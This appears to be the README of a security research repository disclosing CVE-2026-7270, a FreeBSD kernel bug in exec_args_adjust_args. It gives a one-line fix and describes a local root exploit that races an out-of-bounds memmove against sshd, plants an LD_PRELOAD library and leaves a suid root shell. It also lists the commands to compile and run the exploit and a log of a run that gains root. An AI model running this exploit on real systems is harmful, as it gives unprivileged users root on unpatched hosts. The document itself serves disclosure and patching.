
CVE-2026-7270 FreeBSD local privilege escalation via exec_args_adjust_args OOB memmove
https://github.com/califio/publications/tree/main/MADBugs/freebsd-CVE-2026-7270
FreeBSD local privilege escalation via exec_args_adjust_args OOB memmove
An operator-precedence bug in exec_args_adjust_args() (sys/kern/kern_exec.c, present since 2013) lets any local user escalate to root on a default FreeBSD install with sshd running. No suid binaries, no kernel modules, no configuration changes required.
/* sys/kern/kern_exec.c */
memmove(args->begin_argv + extend, args->begin_argv + consume,
args->endp - args->begin_argv + consume); /* BUG: + should be - */
+ consume should be - consume. The wrong sign makes the memmove copy 2 * consume bytes instead of the correct endp - begin_argv - consume. With a 265,185-byte argv[0] in a shebang exec, the memmove overflows the 528,384-byte exec_map entry by 2,024 bytes into the adjacent entry — no crash, no signal, no page fault.
The exploit races the OOB memmove against sshd's fork/execv on incoming TCP connections. sshd-session is executed root-to-root with no suid/sgid transition, so issetugid() returns 0 and the runtime linker honors LD_PRELOAD. The exploit plants LD_PRELOAD=/tmp/evil.so in sshd-session's exec_map entry; the evil.so constructor runs as uid=0 and drops a suid root shell at /tmp/rootsh.
Root obtained at round 5,030, ~6 seconds after launch on a 4-CPU VM.
| Affected versions | FreeBSD 11.0 through 14.4 (all releases; no fix in any branch as of disclosure) |
| Prerequisites | Local unprivileged shell; sshd running (default on FreeBSD) |
| Reliability | ~0.6% hit rate per round; root in seconds on a 4-CPU system |
| Tested | FreeBSD 14.4-RELEASE-p1 amd64, GENERIC kernel, 4 CPUs, 2GB RAM |
Change one character in sys/kern/kern_exec.c:
- args->endp - args->begin_argv + consume);
+ args->endp - (args->begin_argv + consume));
On a FreeBSD 14.4 target, as any unprivileged user:
gcc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
/tmp/exec1_lpe21 15000 0
# ... a few seconds ...
/tmp/rootsh -p
# uid=1001(freebsd) gid=1001(freebsd) euid=0(root)
Under QEMU (macOS host, requires qemu and sshpass):
./run_poc.sh # boots VM, compiles, runs exploit
./run_poc.sh run # re-run against already-running VM
./run_poc.sh clean # remove VM artifacts
$ ./run_poc.sh
[*] Booting FreeBSD 14.4 VM (4 CPUs, 2GB RAM, SSH on port 2225)...
[*] QEMU pid 25908, log: vm.log
[*] Waiting for SSH on port 2225...
[*] SSH up after 1s
[*] Copying exploit source to VM...
[*] Creating unprivileged user 'freebsd' and compiling...
[*] Compiled OK
[*] Running exploit as 'freebsd' (up to 15000 rounds)...
[*] Watch for ROOT OBTAINED below:
[!!!] ROOT OBTAINED!
uid=0 euid=0 pid=3413
[!!!] Root shell: /tmp/rootsh -p
[*] Verifying root...
=== /tmp/GOT_ROOT ===
uid=0 euid=0 pid=3413
=== /tmp/rootsh ===
-rwsr-xr-x 1 root wheel 169288 May 7 05:51 /tmp/rootsh
=== id via rootsh ===
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
[*] Stopping VM (pid 25908)...
| File | Description |
|---|
exec1_lpe21.c | Self-contained exploit — compile and run as unprivileged user |
run_poc.sh | QEMU automation: boots FreeBSD 14.4, compiles, and runs the exploit |
WRITEUP.md | Full technical writeup: bug analysis, exploit architecture, development history |
blog.md | Narrative account of discovery and exploit development |
images/ | SVG diagrams: exec_map layout, self-copy mechanism, full attack overview |